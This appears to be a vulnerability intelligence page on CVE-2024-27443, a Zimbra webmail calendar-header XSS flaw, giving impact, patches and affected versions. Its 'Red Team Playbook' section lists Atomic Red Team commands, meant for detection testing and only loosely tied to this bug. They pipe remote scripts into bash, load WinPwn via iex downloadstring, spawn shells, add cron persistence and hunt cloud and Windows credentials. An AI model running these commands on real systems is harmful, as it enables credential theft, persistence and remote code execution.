CVE-2024-27443
Overview
This vulnerability is a Cross-Site Scripting (XSS) flaw caused by improper input validation of the calendar header within the CalendarInvite feature of the Zimbra webmail classic user interface. The root cause lies in the failure to sanitize or encode user-supplied data embedded in email calendar headers, allowing malicious script injection. The affected component is the calendar header processing logic in Zimbra Collaboration versions 9.0 and 10.0.
Vulnerability Description
An issue was discovered in Zimbra Collaboration (ZCS) 9.0 and 10.0. A Cross-Site Scripting (XSS) vulnerability exists in the CalendarInvite feature of the Zimbra webmail classic user interface, because of improper input validation in the handling of the calendar header. An attacker can exploit this via an email message containing a crafted calendar header with an embedded XSS payload. When a victim views this message in the Zimbra webmail classic interface, the payload is executed in the context of the victim's session, potentially leading to execution of arbitrary JavaScript code.
Impact
An unauthenticated attacker can exploit this vulnerability by sending a specially crafted email to a user, which when viewed in the classic webmail interface, executes arbitrary JavaScript in the victim's browser. This can lead to theft of session cookies, user credentials, or other sensitive data accessible within the user's session context. No prior authentication is required, but the victim must open or preview the malicious email. The exploitation can result in account compromise or unauthorized access to user data within the Zimbra environment.
Solution
Zimbra addressed this vulnerability in security fixes released for versions 9.0.0 patch 39 and 10.0.7. Administrators should apply these updates as detailed in the official Zimbra security release notes at https://wiki.zimbra.com/wiki/Zimbra_Releases/10.0.7#Security_Fixes and https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P39#Security_Fixes. No specific workarounds are documented; therefore, timely patching of affected Zimbra Collaboration servers is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Zimbra Collaboration's CalendarInvite feature stems from inadequate input validation in the handling of calendar headers within the webmail classic user interface. This flaw allows attackers to inject malicious scripts into email messages, which can be executed in the context of a user's session when the crafted email is viewed. Specifically, the vulnerability arises when an attacker embeds a Cross-Site Scripting (XSS) payload within a calendar header. The lack of proper sanitization means that when the victim opens the email, the malicious JavaScript code runs, potentially leading to unauthorized actions being performed on behalf of the user.
Attack vectors for this vulnerability are primarily through email messages containing the crafted calendar invites. An attacker could leverage social engineering tactics to entice users into opening these malicious emails. Once the payload is executed, the attacker could gain access to sensitive information, manipulate user sessions, or perform actions that the victim is authorized to execute, such as sending emails or altering calendar events. This exploitation could be particularly damaging in environments where Zimbra is used for collaboration among teams, as it could lead to the spread of malware or further phishing attempts within an organization.
The real-world impact of this vulnerability can be significant, especially for organizations relying on Zimbra for communication and collaboration. The potential for unauthorized access to user accounts and sensitive data poses a considerable business risk. If exploited, the attacker could compromise not only individual accounts but also entire organizational workflows, leading to data breaches, loss of intellectual property, and reputational damage. Furthermore, the financial implications of such incidents can be severe, including regulatory fines and the costs associated with incident response and recovery.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating Zimbra to the latest versions is crucial, as patches often address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application. User education and awareness training are also vital, as they can reduce the likelihood of users falling victim to social engineering tactics. Organizations should encourage users to be cautious when opening emails from unknown sources and to report any suspicious activity immediately.
In conclusion, the vulnerability in Zimbra Collaboration's CalendarInvite feature highlights the ongoing risks associated with web applications and email communications. The potential for exploitation through XSS attacks underscores the importance of robust input validation and user awareness. By adopting proactive detection and mitigation strategies, organizations can better protect themselves against such vulnerabilities and minimize the associated risks.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-27443, with telemetry indicating a significant uptick in attempts to exploit the XSS vulnerability within Zimbra Collaboration’s CalendarInvite feature. Concurrently, the Exploit Prediction Scoring System (EPSS) score for this vulnerability has risen notably, reflecting an increased likelihood of exploitation in the near term. Although no new exploit techniques or ransomware affiliations have been identified, the upward trend in detection events signals growing adversary interest and potential targeting. This shift elevates the threat posture for organizations utilizing affected Zimbra versions, underscoring the need for heightened vigilance. While the overall severity rating remains medium, the increased exploitation probability warrants a reassessment of risk exposure, particularly in environments where the classic webmail interface is actively used.
Affected Products (38)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zimbra | Collaboration | All |
cpe:2.3:a:zimbra:collaboration:*:*:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:-:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p0:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p1:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p10:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p11:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p12:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p13:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p14:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p15:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p16:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p19:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p2:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p20:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p21:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p23:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p24:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p24.1:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p25:*:*:*:*:*:*
|
|
|
Zimbra | Collaboration | 9.0.0 |
cpe:2.3:a:zimbra:collaboration:9.0.0:p26:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-27443 |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Zimbra_Releases/10.0.7#Security_Fixes |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P39#Security_Fixes |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-27443 |
| welivesecurity.com |
NVD API
Press/Media Coverage
|
https://www.welivesecurity.com/en/eset-research/operation-roundpress/ |